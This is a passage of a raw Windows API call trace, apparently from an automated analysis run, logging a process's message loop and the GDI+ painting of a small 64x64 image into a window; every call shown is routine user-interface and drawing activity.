0x0 [0167.644] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.644] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.644] WaitMessage () returned 1 [0167.687] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.687] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1930356) returned 0x12 [0167.688] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.688] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1930356) returned 0x12 [0167.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.688] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.688] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1930356) returned 0x0 [0167.689] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.689] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.689] WaitMessage () returned 1 [0167.705] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.705] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x19d0356) returned 0x12 [0167.706] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.706] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.706] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x19d0356) returned 0x12 [0167.706] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.706] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.706] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.706] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x19d0356) returned 0x0 [0167.706] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.706] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.706] WaitMessage () returned 1 [0167.720] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.720] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.720] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.720] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.721] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.721] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0167.721] GetCurrentThreadId () returned 0xec0 [0167.721] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0167.721] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.721] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1a70356) returned 0x12 [0167.721] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.721] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.721] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1a70356) returned 0x12 [0167.721] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.722] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.722] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1a70356) returned 0x0 [0167.722] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.722] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.722] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.722] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.722] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.722] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0167.722] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0167.722] CreateCompatibleDC (hdc=0x1010b9d) returned 0x490106c6 [0167.723] SelectObject (hdc=0x490106c6, h=0x1a05067e) returned 0x185000f [0167.723] GdipCreateFromHDC (hdc=0x490106c6, graphics=0x15daf0) returned 0x0 [0167.723] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0167.723] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0167.723] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0167.723] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0167.723] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0167.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.723] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0167.724] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.724] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0167.724] GdipCreateRegion (region=0x15dc20) returned 0x0 [0167.724] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0167.724] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0167.724] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0167.724] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.724] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.725] GetSystemMetrics (nIndex=42) returned 0 [0167.725] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.725] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.725] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.725] CoTaskMemFree (pv=0x1e91eca0) [0167.725] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0167.725] GdipCreateRegion (region=0x15d710) returned 0x0 [0167.725] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0167.725] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0167.725] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0167.725] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0167.725] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.725] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.726] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.726] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0167.726] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.726] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.727] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.727] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.727] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0167.727] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0167.727] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0167.727] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0167.728] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.728] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0167.728] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0167.728] GetCurrentObject (hdc=0x490106c6, type=0x1) returned 0x1b00017 [0167.728] GetCurrentObject (hdc=0x490106c6, type=0x2) returned 0x1900010 [0167.728] GetCurrentObject (hdc=0x490106c6, type=0x7) returned 0x1a05067e [0167.728] GetCurrentObject (hdc=0x490106c6, type=0x6) returned 0x18a002e [0167.728] SaveDC (hdc=0x490106c6) returned 1 [0167.728] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9040b8a [0167.728] GetClipRgn (hdc=0x490106c6, hrgn=0x9040b8a) returned 0 [0167.729] SelectClipRgn (hdc=0x490106c6, hrgn=0x390407c3) returned 2 [0167.729] DeleteObject (ho=0x9040b8a) returned 1 [0167.729] DeleteObject (ho=0x390407c3) returned 1 [0167.729] OffsetViewportOrgEx (in: hdc=0x490106c6, x=0, y=0, lppt=0x2735018 | out: lppt=0x2735018) returned 1 [0167.729] GetNearestColor (hdc=0x490106c6, color=0xffffff) returned 0xffffff [0167.729] CreateSolidBrush (color=0xffffff) returned 0x11100190 [0167.730] FillRect (hDC=0x490106c6, lprc=0x15d7c0, hbr=0x11100190) returned 1 [0167.730] DeleteObject (ho=0x11100190) returned 1 [0167.730] RestoreDC (hdc=0x490106c6, nSavedDC=-1) returned 1 [0167.730] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.730] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x490106c6) returned 0x0 [0167.730] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbc40dbd) returned 0x0 [0167.730] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.730] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0167.730] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.730] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.730] GetSystemMetrics (nIndex=42) returned 0 [0167.730] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.730] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.731] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.731] CoTaskMemFree (pv=0x1e91eca0) [0167.731] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x8) returned 0x0 [0167.733] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0167.733] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0167.733] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0167.733] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0167.733] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x490106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.733] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.733] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x490106c6) returned 0x0 [0167.733] SelectObject (hdc=0x490106c6, h=0x185000f) returned 0x1a05067e [0167.733] DeleteDC (hdc=0x490106c6) returned 1 [0167.733] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.733] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0167.733] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0167.734] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0167.734] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.734] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.734] WaitMessage () returned 1 [0167.740] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.740] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1b10356) returned 0x12 [0167.740] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.740] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.740] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1b10356) returned 0x12 [0167.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.741] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.741] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.741] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1b10356) returned 0x0 [0167.741] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.741] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.741] WaitMessage () returned 1 [0167.759] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.759] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1bb0356) returned 0x12 [0167.759] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.759] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.759] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1bb0356) returned 0x12 [0167.759] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.759] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.759] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.759] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1bb0356) returned 0x0 [0167.760] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.760] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.760] WaitMessage () returned 1 [0167.784] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.784] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1c50356) returned 0x12 [0167.784] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.784] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.784] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1c50356) returned 0x12 [0167.785] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.785] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.785] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.785] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1c50356) returned 0x0 [0167.785] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.785] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.785] WaitMessage () returned 1 [0167.816] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.817] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1cf0356) returned 0x12 [0167.817] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.817] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.817] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1cf0356) returned 0x12 [0167.817] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.817] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.817] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.817] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1cf0356) returned 0x0 [0167.817] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.817] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.817] WaitMessage () returned 1 [0167.846] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1d90356) returned 0x12 [0167.846] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.846] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1d90356) returned 0x12 [0167.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.846] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.846] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.846] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1d90356) returned 0x0 [0167.847] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.847] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.847] WaitMessage () returned 1 [0167.885] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.885] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1e30356) returned 0x12 [0167.885] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.886] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.886] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1e30356) returned 0x12 [0167.886] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.886] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.886] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.886] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1e30356) returned 0x0 [0167.886] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.886] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.886] WaitMessage () returned 1 [0167.907] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.907] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.907] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.907] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.907] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.907] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0167.907] GetCurrentThreadId () returned 0xec0 [0167.907] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0167.907] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.907] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.907] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.907] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.907] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.907] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0167.908] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0167.908] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4a0106c6 [0167.908] SelectObject (hdc=0x4a0106c6, h=0x1a05067e) returned 0x185000f [0167.908] GdipCreateFromHDC (hdc=0x4a0106c6, graphics=0x15daf0) returned 0x0 [0167.908] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0167.908] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0167.908] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0167.908] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0167.908] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0167.909] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.909] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0167.909] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.909] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.909] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0167.909] GdipCreateRegion (region=0x15dc20) returned 0x0 [0167.910] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0167.910] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0167.910] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0167.910] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.910] GetSystemMetrics (nIndex=42) returned 0 [0167.910] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.910] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.910] CoTaskMemFree (pv=0x1e91eca0) [0167.910] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0167.910] GdipCreateRegion (region=0x15d710) returned 0x0 [0167.910] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0167.910] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0167.911] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0167.911] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0167.911] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.911] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.911] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.911] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0167.912] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.912] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.912] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.912] 